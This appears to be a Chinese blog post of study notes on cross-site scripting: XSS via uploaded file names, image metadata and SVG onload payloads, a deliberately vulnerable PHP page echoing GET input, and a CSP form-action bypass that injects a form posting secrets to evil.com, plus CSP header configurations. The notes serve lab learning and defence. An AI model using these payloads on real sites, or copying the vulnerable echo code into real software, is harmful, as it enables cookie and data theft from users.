xss之上传文件的xss,绕过csp,预警机制

xss
1.XSS姿势——文件上传XSS https://wooyun.x10sec.org/static/drops/tips-14915.html
总结:
 1.1.文件名方式,原理:有些文件名可能反应在页面上,带有xss命令的文件可以起到攻击作用
实例:pikachu靶机文件上传后,会有提示文件名上传成功,将文件名修改成xss命令
1.2.metadata 原理:exiftool修改图片的-artlist属性引起xss
想象:上传图片后,显示图片的artlist属性,通过exiftool修改图片的属性
1.3.content 原理:可以上传svg文件的格式,内容带有<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>,上传后访问svg文件触发xss
实例:访问http://127.0.0.1/test.svg触发
1.4.sorce

1.touch xss.gif
2.vim xss.gif
3.<svg xmlns="http://www.w3.org/2000/svg"onload="alert(document.domain)"/>
4.file xss.gif
5.访问

2.利用反射型XSS二次注入绕过CSP form-action限制
步骤
2.1 D:\phpStudy\WWW\xss\secret.php 页面代码如下:
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php
$xss = $_GET['xss'];
echo $xss;
?>
<form method="POST" id='subscribe' action='oo.html'>
<input name='secret' value='xiao_mi_mi'/> //小秘密
<input class="submit" type="submit" value="提交" name="submit">
</form>
</body>
</html>
2.2 无csp,攻击者通过xss修改action
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php
$xss = $_GET['xss'];
echo $xss;
?>

<form method="POST" id='subscribe' action='oo.html'>
<input name='secret' value='xiao_mi_mi'/> //小秘密
<input class="submit" type="submit" value="提交" name="submit">
</form>
<script>
var form1=document.getElementsByTagName('form');
form1[0].setAttribute("action","http://www.baidu.com")
new_action=form1[0].getAttribute("action");
alert(new_action);
</script>
</body>
</html>
将http://www.baidu.com修改成攻击页面可以获取cookie信息和获取隐私信息如xiao_mi_mi
2.3 使用csp白名单策略+限制外部js的加载+不允许内联脚本
csp的配置:

Apache服务
在VirtualHost的httpd.conf文件或者.htaccess文件中加入以下代码
Header set Content-Security-Policy "default-src 'self';"
Nginx
在 server {}对象块中添加如下代码
add_header Content-Security-Policy "default-src 'self';";
IIS
web.config:中添加
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'self';" />
</customHeaders>
</httpProtocol>
</system.webServer>

2.4 攻击者修改页面
通过xss引入以下语句:
<div><form action='http://evil.com/wo_de_mi_mi.php'></div>
<form method='POST' id='subscribe' action='oo.html'>
测试这个页面,第二个form不起作用,此时提交action=www.baidu.com:
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<?php
$xss = $_GET['xss'];
echo $xss;
?>
<div><form action='http://www.baidu.com'></div>
<form method="POST" id='subscribe' action='oo.html'>
<input name='secret' value='xiao_mi_mi'/> //小秘密
<input class="submit" type="submit" value="提交" name="submit">
</form>
</body>
</html>
2.5 CSP加上了form-action来限定form标签的action指向
from-action限制方法:
Content-Security-Policy: form-action <source> <source>

2.6 攻击者修改页面
攻击者通过几个<input>最终绕过csp

3 xss报警机制

3.1分前端数据库端后端来划分,

3.2 可以使用csp来防御

3.3 xss危害相对较少,数量可能多

猜你喜欢

转载自www.cnblogs.com/qzdlp/p/12084999.html